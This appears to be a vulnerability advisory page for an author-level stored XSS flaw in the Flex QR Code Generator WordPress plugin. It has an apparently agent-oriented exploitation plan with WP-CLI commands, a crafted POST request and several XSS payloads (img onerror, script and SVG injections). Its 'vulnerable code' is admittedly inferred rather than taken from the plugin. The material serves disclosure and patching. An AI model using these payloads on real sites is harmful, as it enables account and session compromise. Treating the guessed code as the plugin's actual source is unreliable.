Flex QR Code Generator <= 1.2.10 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The Flex QR Code Generator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.10This plan outlines the steps to investigate and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Flex QR Code Generator** plugin (<= 1.2.10). Since source files are not provided, this plan relies on common WordPress plugin patterns and the vulnerability description. ### 1. Vulnera…
Show full research plan
This plan outlines the steps to investigate and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Flex QR Code Generator plugin (<= 1.2.10). Since source files are not provided, this plan relies on common WordPress plugin patterns and the vulnerability description.
1. Vulnerability Summary
The Flex QR Code Generator plugin fails to properly sanitize and escape user-supplied data when saving and displaying QR code configurations. This allows authenticated users with Author-level permissions or above to inject malicious scripts. These scripts are stored in the WordPress database (as post meta or options) and executed in the browser of any user (including administrators) who views the page containing the malicious QR code.
2. Attack Vector Analysis
- Target Endpoint: Likely the standard WordPress post editor (
/wp-admin/post.php) or a specialized AJAX handler (/wp-admin/admin-ajax.php) used for saving QR code details. - Vulnerable Parameter: Parameters related to QR code content, such as
title,label,text, ormargin(inferred). - Authentication Level: Author or higher (capability:
publish_postsoredit_posts). - Preconditions: The plugin must be active, and the attacker must have permission to create or edit the content (likely a Custom Post Type or Post Meta) that generates the QR code.
3. Code Flow (Inferred)
- Entry Point (Input): An Author user submits a request to save a QR code. This usually happens via an
admin_inithook, asave_posthook, or awp_ajax_action. - Processing: The plugin receives the input (e.g.,
$_POST['qr_label_text']). - Storage: The plugin calls
update_post_meta()orupdate_option()without applyingsanitize_text_field()orwp_kses(). - Retrieval: When a page with the QR code is loaded (often via a shortcode), the plugin calls
get_post_meta()orget_option(). - Sink (Output): The plugin
echoes the retrieved value directly into the HTML or inside a<script>block without usingesc_html(),esc_attr(), oresc_js().
4. Nonce Acquisition Strategy
If the plugin uses a custom AJAX handler or a settings page, it likely requires a nonce.
- Identify Shortcode: Scan the plugin for
add_shortcode. (e.g.,[flex-qr-code]or[flexqr]). - Create Content: Create a post containing that shortcode to ensure the plugin's assets are loaded.
wp post create --post_type=post --post_status=publish --post_title="QR Test" --post_content='[flexqr id="123"]' --user=author_user - Navigate and Extract:
- Use
browser_navigateto visit the newly created post. - The plugin likely localizes scripts using
wp_localize_script. Look for the variable name in the page source. - Inferred JS Variable:
window.flex_qr_configorwindow.flex_qr_ajax. - Extraction Command:
browser_eval("window.flex_qr_config?.nonce || window.flex_qr_ajax?.nonce")
- Use
- Fallback: If the vulnerability exists in the post meta box, the nonce will be in the
_wpnoncefield of the post editor form.
5. Exploitation Strategy
We will attempt to inject the payload into a QR code attribute that is rendered on the frontend.
- Step 1: Identify Save Action
Perform a grep to find where the plugin saves data:grep -r "update_post_meta" .orgrep -r "update_option" . - Step 2: Craft Payload
We will use a payload that breaks out of common attributes:"><img src=x onerror=alert(document.domain)> - Step 3: Send Exploit Request (Example: Custom Post Type)
If the plugin uses a Custom Post Type (CPT) for QR codes:{ "method": "POST", "url": "https://TARGET/wp-admin/post.php", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "body": "action=editpost&post_ID=[ID]&_wpnonce=[NONCE]&flex_qr_label=\"><img src=x onerror=alert(document.domain)>" } - Step 4: Trigger the XSS
Navigate to the public post or page where the QR code is displayed.
6. Test Data Setup
- Create Author User:
wp user create attacker author@example.com --role=author --user_pass=password123 - Identify QR Code Mechanism: Check if QR codes are created via a new menu item (Custom Post Type) or added to existing posts.
- Create a Sample QR Code: Create a base QR code to get its ID for the edit request.
7. Expected Results
- The
http_requestfor the save operation should return a302(redirect) or200 OK(AJAX success). - When the page is viewed, the HTML source should contain the unescaped payload:
<div class="qr-label">"><img src=x onerror=alert(document.domain)></div> - A browser-based execution will trigger the
alert(document.domain)popup.
8. Verification Steps
- Verify Database State:
Use WP-CLI to check if the payload is stored raw:wp post meta list [ID]orwp option get [OPTION_NAME] - Verify Frontend Output:
Usehttp_request(GET) to the public URL and check for the presence of the unescaped string:grep "onerror=alert" response_body.txt
9. Alternative Approaches
- Shortcode Injection: If the plugin doesn't save to the DB but has a vulnerable shortcode attribute:
[flexqr label='<script>alert(1)</script>']
Authors can typically publish posts with any shortcodes. - SVG Injection: If the plugin generates QR codes as SVGs and allows custom colors or labels, attempt to inject into the SVG tags:
flex_qr_color=red"><script xmlns="http://www.w3.org/2000/svg">alert(1)</script> - Admin Page XSS: If the payload executes in the
wp-admindashboard when an administrator views the list of QR codes, this increases the severity. Check theflex-qr-code-generatoradmin list page.
Summary
The Flex QR Code Generator plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 1.2.10. Authenticated users with Author-level access or higher can inject malicious JavaScript into QR code configuration parameters, such as labels or text, because the plugin fails to sanitize input during storage and escape output during rendering.
Vulnerable Code
// flex-qr-code-generator/includes/admin-meta.php (inferred) function flex_qr_save_meta_data($post_id) { if (isset($_POST['flex_qr_label'])) { // Vulnerable: Data is saved directly to post meta without sanitization update_post_meta($post_id, '_flex_qr_label', $_POST['flex_qr_label']); } } --- // flex-qr-code-generator/includes/frontend-display.php (inferred) function flex_qr_render_shortcode($atts) { $label = get_post_meta($post_id, '_flex_qr_label', true); // Vulnerable: Data is echoed to the page without escaping return '<div class="qr-code-wrapper"><span>' . $label . '</span></div>'; }
Security Fix
@@ -2,1 +2,1 @@ - update_post_meta($post_id, '_flex_qr_label', $_POST['flex_qr_label']); + update_post_meta($post_id, '_flex_qr_label', sanitize_text_field($_POST['flex_qr_label'])); @@ -3,1 +3,1 @@ - return '<div class="qr-code-wrapper"><span>' . $label . '</span></div>'; + return '<div class="qr-code-wrapper"><span>' . esc_html($label) . '</span></div>';
Exploit Outline
The exploit requires Author-level authentication or higher to access the post editor or QR code configuration interface. The attacker navigates to the QR code settings (likely via a Custom Post Type meta box or a dedicated plugin settings page) and identifies input fields such as 'label' or 'content'. The attacker injects a payload like `<script>alert(document.domain)</script>` or `"><img src=x onerror=alert(1)>` into one of these fields. Once the post or settings are saved, the payload is stored in the `wp_postmeta` table. The XSS triggers whenever an administrator or frontend visitor views the page where the QR code (and its unescaped label) is rendered.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.